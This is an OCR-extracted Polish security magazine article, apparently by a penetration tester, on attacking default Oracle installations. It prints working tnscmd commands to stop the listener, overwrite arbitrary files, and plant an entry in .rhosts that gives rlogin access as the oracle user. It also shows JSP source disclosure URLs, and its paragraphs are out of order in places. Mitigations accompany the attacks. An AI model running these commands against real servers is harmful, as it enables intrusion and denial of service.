oracle.pdf

Z punktu

widzenia intruza

Oracle z punktu

widzenia intruza

Wojciech Dworakowski

duktów bazodanowych. Na tej platformie

działa wiele serwisów związanych z udo-

stępnianiem danych (również przez Internet). Bazy

te są też niezwykle popularne w zastosowaniach

korporacyjnych. Hasło marketingowe Oracle

w roku 2002 brzmiało: Oracle – The Unbreakable .

Czy rzeczywiście tak jest? W poniższym artykule

spróbuję przybliżyć zagrożenia związane ze stan-

dardowymi instalacjami produktów Oracle.

Już na wstępie chcę zaznaczyć, że nie

zamierzam odsądzać firmy Oracle od czci i wiary,

potępiać posunięć marketingowych i sugerować,

że DBMS Oracle jest niebezpieczny czy też dziu-

rawy jak przysłowiowe rzeszoto. Moim celem jest

wykazanie, że każdy produkt jest w większym

lub mniejszym stopniu narażony na błędy pro-

gramistów i projektantów, niezależnie od tego,

co twierdzą hasła na sztandarach. Oracle 9i to

dobry produkt bazodanowy, świadczy o tym cho-

ciażby udział w rynku, jednak nawet tak dużym

firmom i tak renomowanym produktom zdarzają

się wpadki. Należy o tym pamiętać i nie ufać bez-

granicznie hasłom reklamowym. Nie bez kozery

motto Narodowej Agencji Bezpieczeństwa USA

brzmi ufamy Bogu – wszystko inne sprawdzamy .

Wszystkie opisywane błędy dotyczą instalacji

standardowej. Da się ich uniknąć stosując popraw-

ki i zalecenia producenta oraz eliminując zbędną

funkcjonalność w instalacjach produkcyjnych.

Pierwsza część artykułu będzie dotyczyć

ataków możliwych do przeprowadzenia z sieci lokal-

nej. Skupię się głównie na niedoskonałościach

serwisu Oracle Listener. W drugiej części opiszę

kilka zagrożeń związanych z serwerami aplikacji

internetowych zbudowanych w oparciu o Oracle.

Część ta będzie dotyczyć głównie modułów

serwisu Apache, który wchodzi w skład rozwią-

zań aplikacyjnych Oracle.

Zawodowo nie zajmuję się administracją ser-

werów Oracle. Moja praca wiąże się raczej z ana-

lizowaniem bezpieczeństwa systemów IT (testy

penetracyjne, przeglądy konfiguracji). Z tego wzglę-

du prezentowany materiał przyjmuje raczej punkt

widzenia atakującego system niż administratora.

Artykuł jest podsumowaniem ponad dwuletnich

doświadczeń w testowaniu bezpieczeństwa syste-

mów Oracle. Większość informacji pochodzi ze

źródeł powszechnie dostępnych w Internecie.

Trochę historii

Produkty firmy Oracle przez wiele lat były uwa-

żane za aplikacje nie posiadające znaczących

błędów związanych z bezpieczeństwem. Opinia

ta wynikała najprawdopodobniej z nikłego zain-

teresowania badaczy tymi produktami, co znowu

było spowodowane ich niską dostępnością. Żeby

uzyskać dostęp do pełnych wersji systemów

DBMS firmy Oracle należało kupić stosunkowo

drogie licencje. Sprawy przyjęły inny obrót, gdy

Oracle zaczęło udostępniać pełne wersje swoich

produktów w Internecie. Wersje te można stoso-

wać do celów deweloperskich i testowych. Od

około dwóch lat widać znaczne zainteresowanie

tymi produktami wśród specjalistów zajmują-

cych się testowaniem bezpieczeństwa aplikacji

i wyszukiwaniem w nich błędów.

Przyniosło to też znaczącą poprawę w podej-

ściu producenta do problemów bezpieczeństwa

samego kodu wchodzącego w skład produktów

Oracle. Wcześniej Oracle pojmowało bezpie-

czeństwo tylko przez pryzmat mechanizmów

zabezpieczających dane w samej aplikacji oraz

zwiększających ich dostępność.

W roku 2002 Oracle opublikowało ponad 20

informacji o zagrożeniach w swoich produktach.

Ponadto standardowe dystrybucje Oracle zawie-

rają w sobie komponenty Open Source – takie jak

np. Apache – które też nie są wolne od błędów.

Autor jest współwłaścicielem firmy SecuRing, koor-

dynatorem prac zespołu i osobą odpowiedzialną za

sporządzanie raportów. Sześć lat doświadczenia prak-

tycznego w zakresie bezpieczeństwa IT. Prelegent na

licznych konferencjach poświęconych bezpieczeństwu

IT (m.in. CERT Secure, PLOUG/Oracle, Open Source

Security, Windows Security). Prowadzi rubrykę poświę-

coną bezpieczeństwu w Biuletynie Polskiej Grupy Użyt-

kowników Systemu Oracle. Uprzednio koordynował

pracę zespołów konsultantów bezpieczeństwa firm

ABA i BSI.

Oracle Listener

Na początek garść faktów na temat oprogramo-

wania Oracle Listener. Jest to komponent odpo-

wiedzialny przede wszystkim za komunikację

między klientami a serwerem Oracle (również

za komunikację międzyserwerową). Jest to ele-

ment każdej instalacji Oracle DBMS. Listener

www.haking.pl

Haking nr 1

P rodukty Oracle dominują na rynku pro-

Oracle z punktu widzenia intruza

Listing 1 . Pozyskanie informacji o systemie

– komenda TNS status

Listener odpowiada na te zapytania zdradzając m.in.:

• dokładną wersję Oracle,

• rodzaj systemu operacyjnego,

• czas od uruchomienia instancji Oracle,

• ścieżki do plików z logami,

• opcje listenera (m.in. stan opcji security ),

• rodzaj serwisów Oracle obsługiwanych przez listenera,

• argumenty wywołania,

• kompletne środowisko (wartości wszystkich zmien-

nych systemowych), w jakim został wywołany listener.

tnscmd status -h 10.1.1.100 -p 1521

sending (CONNECT_DATA=(COMMAND=status))

to 10.1.1.100:1521

connect

writing 89 bytes

reading

. .......6.........@. ...........J........

DESCRIPTION=

TMP=

VSNNUM=135291648

ERR=0

ALIAS=LISTENER

SECURITY=OFF

VERSION=TNSLSNR for Solaris:

Version 8.1.6.3.0 - Production

START_DATE=28-OCT-2002 16:22:44

SIDNUM=1

LOGFILE=/opt/oracle/8i/network/log/listener.log

PRMFILE=/opt/oracle/8i/network/admin/listener.ora

TRACING=off

UPTIME=379500951

SNMP=OFF

Przykład pozyskania niektórych z tych informacji znajduje

się na Listingu 1.

Dane te mogą posłużyć do przygotowania skutecznego

ataku przeciwko systemowi operacyjnemu lub przeciwko

samemu oprogramowaniu Oracle.

Prosty atak DoS

Standardowa konfiguracja umożliwia trywialny atak denial

of service na Oracle Listener. Opcja SECURITY=OFF (patrz

Listing 1) mówi o tym, że listenerowi można wydawać

komendy bez jakiegokolwiek uwierzytelnienia. Standardowo

dostęp administracyjny do listenera nie jest zabezpieczony

hasłem, więc potencjalny intruz może wydać komendę:

jest procesem działającym na serwerze bazodanowym,

którego zadaniem jest przyjmowanie zleceń od klientów.

W systemach uniksowych jest to proces o nazwie tnsl-

snr , a w systemach Windows odpowiedni serwis. Listener

nasłuchuje zleceń na porcie TCP 1521. Do komunikacji

między Oracle Client a Listenerem jest wykorzystywany

protokół TNS (Transparent Network Substrate).

Największe zagrożenia związane z Oracle Listener nie

wymagają od atakującego żadnej wiedzy tajemnej. Nie są

to klasyczne przepełnienia bufora wejściowego lub inne

typowe błędy popełniane przez programistów (aczkolwiek

takie też w nim można znaleźć). Największe słabości liste-

nera prawdopodobnie wynikają ze złych założeń przyjętych

podczas projektowania tego oprogramowania. Słowem: It’s

not a bug – It’s a feature . Przejdźmy jednak do konkretów.

Do atakowania Oracle Listenera można zastosować

prosty skrypt perl o nazwie tnscmd . Można go uzyskać pod

adresem http://www.jammed.com/~jwa/hacks/security/

tnscmd/tnscmd . Skrypt ten pozwala na wydawanie

komend protokołu TNS.

tnscmd stop -h oracleserwer -p 1521

Listener posłusznie zakończy swoje działanie. Jest to

typowy, bardzo trywialny atak Denial of Service (DoS).

Intruz nie zdobył dostępu do systemu ani do danych, ale

skutecznie uniemożliwił korzystanie z systemu.

Przed tego typu atakiem można się zabezpieczyć usta-

wiając opcję security w listenerze i hasło na dostęp do

poleceń administracyjnych.

Nadpisanie dowolnego pliku

Proces listenera ( tnslsnr ) zapisuje wszystkie zdarzenia

w swoim logu. Położenie tego logu konfiguruje administra-

tor. Można je odczytać zdalnie przez opisaną poprzednio

komendę protokołu TNS – status . Na Listingu 1 jest to

wartość zmiennej LOGFILE. Co ciekawsze – za pomocą

odpowiedniego zlecenia TNS położenie pliku logowania

można zmieniać. Na dodatek, Listener ślepo przyjmuje

każdą wartość, niezależnie od tego, czy wyspecyfikowany

plik istnieje (w takim wypadku zostanie nadpisany), czy też

nie (w takim wypadku zostanie stworzony).

W rezultacie – intruz, który może komunikować się

z portem 1521 serwera Oracle, ma możliwość nadpi-

sania bądź utworzenia dowolnego pliku, do którego ma

uprawnienia proces Oracle Listener. Standardowo na

systemach uniksowych jest to użytkownik oracle , a na

systemach Microsoftu użytkownik LOCAL_SYSTEM (sic!).

W ten sposób intruz może zniszczyć pliki z danymi bazy,

pliki konfiguracyjne czy też same binaria Oracle.

Uzyskanie informacji o systemie

Standardowo Oracle Listener przyjmuje komendy od każdego

i nie wymaga żadnej autoryzacji. Może to prowadzić do wielu

nadużyć. Po pierwsze, dowolny użytkownik sieci, który jest

w stanie nawiązać komunikację z portem listenera 1521 TCP,

może uzyskać bardzo dużo informacji o systemie. Odpowia-

dają za to komendy version i status protokołu TNS:

tnscmd version -h adres_serwera -p 1521

tnscmd status -h adres_serwera -p 1521

Haking nr 1

www.haking.pl

Z punktu

widzenia intruza

Listing 2 . Nadpisanie dowolnego pliku do którego ma dostęp użytkownik oracle (w tym wypadku jest to plik

.rhosts w katalogu domowym użytkownika oracle)

wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd “

(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)

(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"

sending

(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)

(VERSION=1)(VALUE=/home/oracle/.rhosts)))

to oracleserver:1521

writing 205 bytes

reading

.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))

Skrypt tnscmd ma możliwość bezpośredniego wpisy-

wania ciągów znaków, które wejdą w skład zlecenia TNS.

Mając pewną wiedzę o tym protokole można skonstru-

ować zlecenie zmiany pliku logowania. Przykład – prze-

kierowanie logów do pliku /home/oracle/.rhosts – jest

pokazany na Listingu 2.

Jak już wspominaliśmy, listener zapisuje do logów infor-

macje o błędach, wraz z cytatem nieprawidłowej komendy.

Można to wykorzystać to do wpisania swojego IP i nazwy

użytkownika do pliku .rhosts (Listing 3). Ważne jest, żeby

wpisywane dane były umieszczone w osobnej linii.

Jak widać listener zwrócił komunikat o błędzie, jednak-

że wpisał do swoich logów, a więc do pliku /home/oracle/

.rhosts , całą linię z błędną komendą. W tym momencie

plik /home/oracle/.rhosts (a więc obecny log Listenera)

wygląda tak jak na Listingu 4.

Linię 10.1.1.223 wojdwo intruz umieścił w pliku .rhosts

wykorzystując niedoskonałości Oracle Listener. Zostanie

ona prawidłowo zinterpretowana przez system, w rezul-

tacie intruz może zalogować się zdalnie jako użytkownik

oracle , bez żadnego uwierzytelnienia. Listing 5 ilustruje

zdalne połączenie z serwerem oracleserwer i uzyskanie

uprawnień użytkownika oracle .

Podsumowując: zdalnie działający intruz zdołał, odpo-

wiednio manipulując serwisem Oracle Listener, osiągnąć

uprawnienia użytkownika oracle w systemie operacyjnym.

Oczywiście ten przykładowy scenariusz zadziała tylko

wtedy, gdy system operacyjny udostępnia możliwość zdalne-

go logowania się przez rlogin oraz korzysta z plików .rhosts

do autoryzowania zdalnych użytkowników (standardowa kon-

Przykładowy scenariusz ataku

– przejęcie kontroli nad bazą

Po przekierowaniu logów do dowolnego pliku wszystkie

informacje logowane przez Oracle Listener będą zapisy-

wane do tego pliku. Listener nie zapisuje do logów zbyt

wiele informacji, przykładowo nie zapisuje adresu IP ani

nazwy hosta, z którego nadeszło połączenie. W związku

z tym intruz atakujący Oracle jedną z powyższych metod

nie zostanie ujawniony przez logi listenera.

W logu są za to zapisywane są wszystkie informacje

o błędach, wraz z cytatem nieprawidłowej komendy. Umoż-

liwia to wpisanie do pliku pożądanej przez intruza informa-

cji, co w pewnych warunkach może prowadzić do przejęcia

kontroli nad systemem.

Poniżej przedstawię scenariusz ataku opierający się

na wpisaniu odpowiedniej informacji do pliku .rhosts

i wykorzystaniu serwisu rlogin. Uwaga: poniższy scena-

riusz należy traktować jedynie jako przykład. Zaprezen-

towane tu błędy umożliwiają o wiele szersze możliwości

penetrowania systemów.

Najpierw intruz wydaje za pomocą programu tnscmd

polecenie TNS nakazujące listenerowi na serwerze orac-

leserwer zmianę pliku logowania na /home/oracle/.rhosts

(Listing 2).

Jak widać na dalszej części listingu, listener na

serwerze oracleserwer wykonał to zlecenie. Od tej pory

wszystkie zapisy o działaniu listenera będą płynąć do pliku

/home/oracle/.rhosts .

W systemach uniksowych w pliku .rhosts w katalogu

domowym użytkownika zapisane są zdalne konta i nazwy

bądź adresy IP hostów, które mogą się łączyć do tego sys-

temu bez dalszego uwierzytelniania przez serwisy rlogin,

rsh, rcmd. Celem intruza jest wpisanie do tego pliku swo-

jego loginu i adresu IP swojego hosta.

Listing 3 . Wykorzystanie listenera do wpisana

swoich danych do dowolnego pliku

wojdwo@behemot$ ./tnscmd -h oracleserwer \

--rawcmd "(CONNECT_DATA=((

10.1.1.223 wojdwo

sending (CONNECT_DATA=((

10.1.1.223 wojdwo

to oracleserwer:1521

writing 93 bytes

reading

.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)

(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)

(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo'))

(ERROR=(CODE=303)(EMFI=1))))

www.haking.pl

Haking nr 1

Oracle z punktu widzenia intruza

figuracja większości uniksów). Tak jak powiedziałem wcze-

śniej – jest to tylko przykład. Można skonstruować podobny

atak manipulujący kluczami ssh i w rezultacie dający dostęp

do systemu via ssh. Można również przeprowadzić podobne

ataki na Oracle działające na platformach Windows. Byłyby

one o wiele skuteczniejsze i groźniejsze nie tylko dla bazy

danych, ale też dla samego systemu, z uwagi na to, że intruz

uzyskałby uprawnienia Local System .

Powyższe zagrożenia są tym bardziej godne uwagi, że

występują po dziś dzień, we wszystkich wersjach Oracle

zawierających Oracle Listener, łącznie z najnowszą, cho-

ciaż zagrożenie jest znane od 2000 roku. Łata wypusz-

czona przez Oracle (#1361722) wprowadza do pliku

konfiguracyjnego Listenera ( listener.ora ) dodatkowy para-

metr – ADMIN_RESTRICTIONS . Włączenie tego parametru

uniemożliwia dynamiczną zdalną rekonfigurację listenera.

Jednak – dla zachowania zgodności wstecz – standardowo

parametr ten jest wyłączony.

Listing 5 . Rezultatem ataku jest możliwość

zdalnego zalogowania się do systemu

z uprawnieniami użytkownika Oracle

wojdwo@behemot$ rlogin -l oracle oracleserwer

Linux oracleserwer Mon Aug 12 15:46:15 EST 2002

i686 unknown

oracle@oracleserwer:~$ id

uid=1001(oracle) gid=103(oinstall)

groups=103 (oinstall),104(dba),105(oper)

Inny ciekawy błąd wiąże się z komendą SERVICE_CURLOAD .

Do wysłania tej komendy można wykorzystać program

tnscmd:

tnscmd -h 192.168.0.200 \

--rawcmd "(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))"

Inne ciekawe błędy Listenera

Jak już wspomniałem – powyżej zaprezentowane błędy są

o tyle ciekawe, że nie są przeoczeniem koderów, lecz błę-

dami popełnionymi w fazie projektowania produktu. Oczywi-

ście, Oracle Listener nie jest wolny od bardziej tradycyjnych

zagrożeń wiążących się np. z brakiem walidacji danych

wejściowych. Informacje o innych błędach są dostępne

m.in. na stronie http://otn.oracle.com/deploy/security/

alerts.htm oraz w prowadzonym przeze mnie Biuletynie Bez-

pieczeństwa Oracle, który ukazuje się w gazetce Polskiej

Grupy Użytkowników Systemu Oracle. Jest ona dostępna

on-line pod adresem podanym w Ramce W Sieci .

Poniżej przedstawię dwa zagrożenia, które wydały mi

się szczególnie ciekawe. Oba są poprawione przez produ-

centa i istnieją na nie odpowiednie łaty.

Ciekawym błędem (przykład jego wykorzystania przedsta-

wia Listing 6) popełnionym przez programistów tworzących

Oracle Listener jest błąd pozwalający na ujawnienie informa-

cji przekazywanej w poprzednim połączeniu innego użytkow-

nika z listenerem. Błąd programisty polega prawdopodobnie

na tym, że bufor, do którego są przyjmowane komunikaty,

nie jest każdorazowo czyszczony. W rezultacie ustawiając

w odpowiednim parametrze większą niż w rzeczywistości dłu-

gość wydawanej komendy TNS ( oracleserwer --cmdsize 30 ),

można odczytać część komendy wydanej do listenera przez

poprzedniego użytkownika ( COMMAND=status ).

W rezultacie proces listenera (tnslsnr) konsumuje 99%

czasu procesora. Znowu – bardzo trywialny atak denial of

service .

Oracle Listener – uwagi

Przedstawione powyżej ataki związane z Oracle Listener

wymagają oczywiście, żeby intruz mógł komunikować

się z tym procesem. Musi on mieć możliwość wysyłania

pakietów do portu 1521/tcp. Z tego też powodu większość

administratorów ignoruje te zagrożenia, ponieważ chronią

przed nimi firewalle, które w większości wypadków blokują

ruch na ten port. Jak w rzeczywistości wygląda ogranicza-

nie dostępu do portów serwerów bazodanowych mogliśmy

się przekonać pod koniec stycznia 2003 przy epidemii

robaka Slammer (Sapphire), atakującego serwery MS-

SQL. Poza tym większość intruzów nie atakuje przez fron-

towe drzwi. Zamiast próbować zaatakować bezpośrednio

serwer Oracle, dużo łatwiej jest przejąć kontrolę nad jakąś

stacją roboczą w atakowanej sieci i stąd bez większych

problemów przeprowadzić atak na Oracle Listener.

Oczywiście istnieją możliwości przynajmniej częściowe-

go zabezpieczania się przed powyższymi zagrożeniami. Pod-

stawowym sposobem ochrony jest włączenie w listenerze

opcji security i ustawienie hasła dostępu. Poza tym można

limitować adresy IP, które mogą łączyć się do listenera (dy-

rektywy tcp.validnode_checking i tcp.invited_nodes ) oraz

zabronić dynamicznej modyfikacji plików konfiguracyjnych

(np. logów) przez włączenie opcji ADMIN_RESTRICTIONS .

Listing 4 . Zawartość pliku /home/oracle/.rhosts

po nadpisaniu go przez Oracle Listener

Apache a'la Oracle

W ostatnich latach bardzo popularną formą udostępniania

informacji stały się serwisy WWW połączone z bazami

danych. W takiej architekturze po stronie serwera WWW

uruchamiane są pewne metody dynamiczne (np. PHP,

ASP, JSP), które pobierają dane z bazy danych i generują

strony WWW. Całość tworzy aplikacje webową. Klientem

12-SIE-2002 15:44:05 * log_file * 0

12-SIE-2002 15:44:37 * service_register * ora1 * 0

12-SIE-2002 15:44:58 * 1153

TNS-01153: Failed to process string: (CONNECT_DATA=((

10.1.1.223 wojdwo

NL-00303: syntax error in NV string

Haking nr 1

www.haking.pl

Z punktu

widzenia intruza

Listing 6 . Manipulacja protokołem TNS; w rezultacie

listener zdradza fragment poprzedniej komendy

wiedzy o wszystkich zaawansowanych komponentach,

wolą je zostawić niż narażać się na destabilizację serwera.

Potwierdza się tu stara zasada, że bezpieczeństwo jest

odwrotnie proporcjonalne do udostępnianej przez oprogra-

mowanie funkcjonalności.

Poniżej przedstawię kilka przykładów ciekawych ataków

wykorzystujących luki w modułach Oracle HTTP Listener.

Wszystkie opisane zagrożenia są usuwalne przez nałożenie

odpowiednich łat producenta. Dość charakterystyczna jest

jednak ich trywialność oraz to, że praktycznie wszystkie

zostały ujawnione na przestrzeni ostatniego roku.

wojdwo@behemot$ ./tnscmd

\--rawcmd " " -h oracleserwer --cmdsize 30

sending to oracleserwer:1521

Faking command length to 30 bytes

writing 59 bytes

reading

......"...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)

(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)

(ARGS='CONNECT_DATA=(COMMAND=status)'))

(ERROR=(CODE=303)(EMFI=1))))

Ujawnienie kodu źródłowego

skryptów JSP

Java Server Pages (JSP) to jedna z metod, za pomocą któ-

rych serwer może generować strony WWW z zawartością

dynamiczną, którą stanowią informacje pobrane z bazy

danych. Gdy klient (przeglądarka WWW) poprosi o stronę

o rozszerzeniu .jsp , to standardowo serwer wyszukuje

odpowiedni kod Java, kompiluje go i wykonuje. Rezultat

wykonania w postaci strony HTML jest zwracany do prze-

glądarki. Podczas tego procesu w ścieżce /_pages serwe-

ra WWW tworzone są pliki tymczasowe. Jeden z takich

plików – z rozszerzeniem java – zawiera kod źródłowy

wykonywanego skryptu.

W standardowej konfiguracji Apache rozpowszechnia-

nego z Oracle katalog /_pages jest udostępniany przez

serwer, w związku z tym intruz może odczytać kod źródło-

wy stron JSP obsługiwanych przez serwer.

Przykład: Najpierw należy uruchomić atakowany skrypt

JSP, po to, by serwer pobrał kod i go skompilował:

takiej aplikacji jest oczywiście zwykła przeglądarka WWW.

Oracle i inni producenci produktów bazodanowych dostrze-

gli ten trend i uzupełnili swoje produkty o możliwość dostę-

pu do danych przez przeglądarki WWW. W przypadku

Oracle serwerem WWW jest Oracle HTTP Listener. Jest to

drugi (poza standardowym Listenerem) sposób komunika-

cji z serwerem Oracle, a więc również potencjalne miejsce

ataków z zewnątrz systemu.

Oracle HTTP Listener to dobrze znany serwer Apache

serii 1.3.x z dopisanymi przez Oracle modułami, które

integrują go z Oracle DBMS. Kod wykonywany po stronie

serwera może być tworzony przy pomocy wielu różnych

metod. Najważniejsze to:

• PL/SQL – język proceduralny Oracle; za jego interpre-

tację w przypadku skryptów server-side odpowiada

moduł mod_plsql.

• Skrypty JSP i serwlety Java – obsługiwane przez JServ

( mod_jserv statycznie zlinkowany z Apache) lub Oracle

Containers for Java (OC4J). Można powiedzieć, że

jeśli chodzi o serwery aplikacji Oracle stawia na Javę.

W związku z tym metody te są rozszerzone o różne

ciekawe możliwości, np. XSQL – integracja z XML, czy

też SQLJ – bezpośrednie wykonywanie zapytań SQL

z wnętrza skryptów Java.

• Inne tradycyjne metody, jak np. skrypty CGI czy Perl

( mod_cgi i mod_perl są standardowo włączone).

http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp

Teraz można odczytać źródło skryptu JSP odwołując się do

odpowiedniego pliku w ścieżce /_pages :

http://10.1.1.100/_pages/_demo/_sql/_bean/

_ConnBeanDemo.java

Żeby obronić się przed tym zagrożeniem wystarczy zabro-

nić w konfiguracji Apache dostępu do ścieżki /_pages .

Wszelkie skrypty JSP powinny też być przechowywane

w postaci prekompilowanej. W ten sposób uniknie się

potencjalnie niebezpiecznej konieczności kompilowania

skryptów w momencie dostępu do nich, co przy okazji

poprawi też wydajność.

Ponadto Oracle udostępnia całe mnóstwo technologii

uzupełniających, takich jak zaawansowane buforowanie

stron dynamicznych (Oracle Web Cache), framework do

tworzenia stron portalowych (Oracle Portal), implementa-

cje WebDAV i inne.

Nietrudno się domyślić, że większość z tych modułów

dodatkowych posiada bardzo długą i szybko rozwijającą

się listę zagrożeń z nimi związanych. Jest to sytuacja

typowa dla oprogramowania, które jest bardzo szybko

rozwijane. Oczywiście – w standardowej instalacji jest włą-

czona większość z tych rozszerzeń. Jak wskazuje praktyka,

mało która instalacja produkcyjna ma konfigurację mocno

odbiegającą od standardowej, a administratorzy z braku

Skrypty demo

Wiele zagrożeń wiąże się z umieszczonymi w standardowej

instalacji Oracle skryptami demonstrującymi funkcjonal-

ność Oracle jako serwera aplikacji. Skrypty te są umiesz-

czone w ścieżce /demo . Wiele z tych przykładów nie jest

niestety dobrymi wzorcami do naśladowania, zwłaszcza

jeśli chodzi o zasady bezpiecznego programowania. Duża

www.haking.pl

Haking nr 1

772

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika: